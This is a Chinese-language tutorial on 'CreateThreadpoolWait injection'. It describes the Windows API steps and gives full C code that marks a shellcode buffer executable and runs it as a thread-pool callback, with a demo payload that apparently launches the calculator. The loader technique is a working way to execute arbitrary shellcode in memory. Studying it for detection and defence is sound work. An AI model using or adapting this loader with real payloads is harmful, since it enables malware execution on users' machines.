4-创建线程池注入（CreateThreadpoolWait Injection）

一、前言

利用线程池实现shellcode注入，主要依赖到两个Windows API，分别是 CreateThreadpoolWait 和 SetThreadpoolWait 函数。

CreateThreadpoolWait 用于创建一个线程池等待对象，线程池等待指定的对象变为有信号状态时，会执行特定的回调函数。

SetThreadpoolWait 函数用于在线程池中添加等待对象。当等待的指定的对象（如事件、信号量等）变为有信号状态时，线程池会调用与等待对象关联的回调函数。

回调函数：是一种编程机制，可以将函数指针作为传递的参数，在特定事件发生（即处于有信号状态时）时被调用，允许动态指定执行行为。

二、流程

1. 使用 VirtualProtect 修改shellcode所在内存的保护属性为可读、可写、可执行。官方文档：VirtualProtect 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

2. 使用 CreateEventA 创建一个事件对象，初始状态为有信号状态，使用默认安全属性，非手动重置，无名称。官方文档：CreateEventA 函数 （synchapi.h） - Win32 apps | Microsoft Learn

3. 使用 CreateThreadpoolWait 创建一个线程池等待对象，关联到shellcode作为回调函数，回调函数参数和线程池环境为NULL。官方文档：createThreadpoolWait 函数 (threadpoolapiset.h) - Win32 apps | Microsoft Learn

4. 使用 SetThreadpoolWait 将等待对象添加到线程池中,当事件对象event触发（变为有信号状态）时，线程池会调用与threadPoolWait关联的回调函数。官方文档：SetThreadpoolWait 函数 （threadpoolapiset.h） - Win32 apps | Microsoft Learn

5. 使用 WaitForSingleObject 等待事件对象event变为无信号状态（表示shellcode执行完毕）。官方文档：WaitForSingleObject 函数 （synchapi.h） - Win32 apps | Microsoft Learn

三、代码实现

#include <stdio.h>
#include <Windows.h>
int main() {
    unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 定义一个DWORD变量，用于存储原始内存保护属性
    DWORD oldProtect;

    // 修改shellcode所在内存的保护属性为可读、可写、可执行
    VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 创建一个事件对象，初始状态为有信号状态，使用默认安全属性，非手动重置，无名称
    HANDLE event = CreateEventA(NULL, FALSE, TRUE, NULL);

    // 创建一个线程池等待对象，关联到shellcode作为回调函数，回调函数参数和线程池环境为NULL
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)shellcode, NULL, NULL);

    // 将等待对象添加到线程池中,当事件对象event触发（变为有信号状态）时，线程池会调用与threadPoolWait关联的回调函数
    SetThreadpoolWait(threadPoolWait, event, NULL);

    // 等待事件对象变为无信号状态（表示shellcode执行完毕），无限等待
    WaitForSingleObject(event, INFINITE);
}